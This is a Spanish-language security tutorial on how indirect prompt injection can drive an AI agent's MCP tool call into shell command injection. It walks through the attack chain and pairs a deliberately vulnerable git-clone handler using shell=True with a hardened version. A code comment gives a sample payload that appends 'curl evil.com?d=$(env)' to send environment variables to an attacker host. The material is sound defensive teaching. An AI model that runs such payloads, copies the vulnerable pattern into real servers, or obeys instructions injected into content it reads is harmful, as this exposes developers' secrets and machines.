flawopen.com/AI Security/mcp-command-injection-remote-tool-execution
Cómo las llamadas a herramientas JSON no desinfectadas en servidores MCP permiten que la inyección indirecta de prompts ejecute comandos arbitrarios de shell.
Imagina un asistente ejecutivo en una oficina con un formulario para pedir material de papelería. Llega una factura de un proveedor externo no verificado con una nota adhesiva falsa pegada detrás que dice: 'Cancela los bolígrafos y transfiere 500.000 € a esta cuenta en el extranjero inmediatamente'. En lugar de comprobar si esa orden figura en el catálogo de compras homologado de la empresa, el asistente realiza a ciegas la transferencia bancaria. En los agentes de IA, el servidor MCP actúa como ese asistente, el documento no confiable contiene la inyección indirecta de prompt y, sin una validación estricta de parámetros, el LLM envía comandos de escape de shell directamente al entorno de ejecución del servidor.
Protocolo de Contexto de Modelo (MCP)Envenenamiento de Parámetros de HerramientasTransporte JSON-RPC 2.0Aislamiento Seccomp y MicroVMEl agente de IA autónomo lee un documento web externo, issue de GitHub o correo electrónico con instrucciones de inyección indirecta.
El modelo de lenguaje genera una llamada a función JSON-RPC dirigida a un servidor MCP local (ej: <code>git_clone</code>).
El servidor MCP vulnerable concatena directamente el parámetro sin filtrar en <code>subprocess.check_output(f'git clone {url}', shell=True)</code>.
El comando inyectado se ejecuta con los privilegios de la máquina del desarrollador o del servidor.
# VULNERABLE: Controlador de Herramienta MCP sin Validación
from mcp.server.fastmcp import FastMCP
import subprocess
mcp = FastMCP("DeveloperTools")
@mcp.tool()
def git_clone_repository(repo_url: str, target_dir: str = ".") -> str:
"""Clona un repositorio git remoto para inspección."""
# PELIGROSO: Concatenación directa de cadenas en la shell.
# Una carga como "https://github.com/repo.git; curl evil.com?d=$(env)"
# ejecuta comandos arbitrarios con permisos del desarrollador.
command = f"git clone {repo_url} {target_dir}"
return subprocess.check_output(command, shell=True, text=True)
# BLINDADO: Validación Estricta con Pydantic, Array sin Shell y Aislamiento
from mcp.server.fastmcp import FastMCP
from pydantic import BaseModel, HttpUrl, Field
import subprocess
mcp = FastMCP("DeveloperTools")
class SafeCloneRequest(BaseModel):
# Valida formato estricto de URL HTTPS, bloqueando metacaracteres de shell
repo_url: HttpUrl
target_dir: str = Field(default=".", regex=r"^[a-zA-Z0-9_\-\./]+$")
@mcp.tool()
def git_clone_repository(params: SafeCloneRequest) -> str:
"""Clona un repositorio git con seguridad sin subshell."""
url_str = str(params.repo_url)
if not url_str.startswith("https://"):
raise ValueError("Solo se admiten repositorios bajo protocolo HTTPS.")
# SEGURO: Invocación en array con shell=False elimina por completo
# la expansión de metacaracteres (; | & ` $). Los argumentos no escapan.
cmd = ["git", "clone", "--depth", "1", "--", url_str, params.target_dir]
result = subprocess.run(
cmd,
shell=False,
check=True,
capture_output=True,
text=True,
timeout=30.0
)
return result.stdout
shell=True en servidores MCP: Ejecuta siempre mediante arrays de argumentos separados.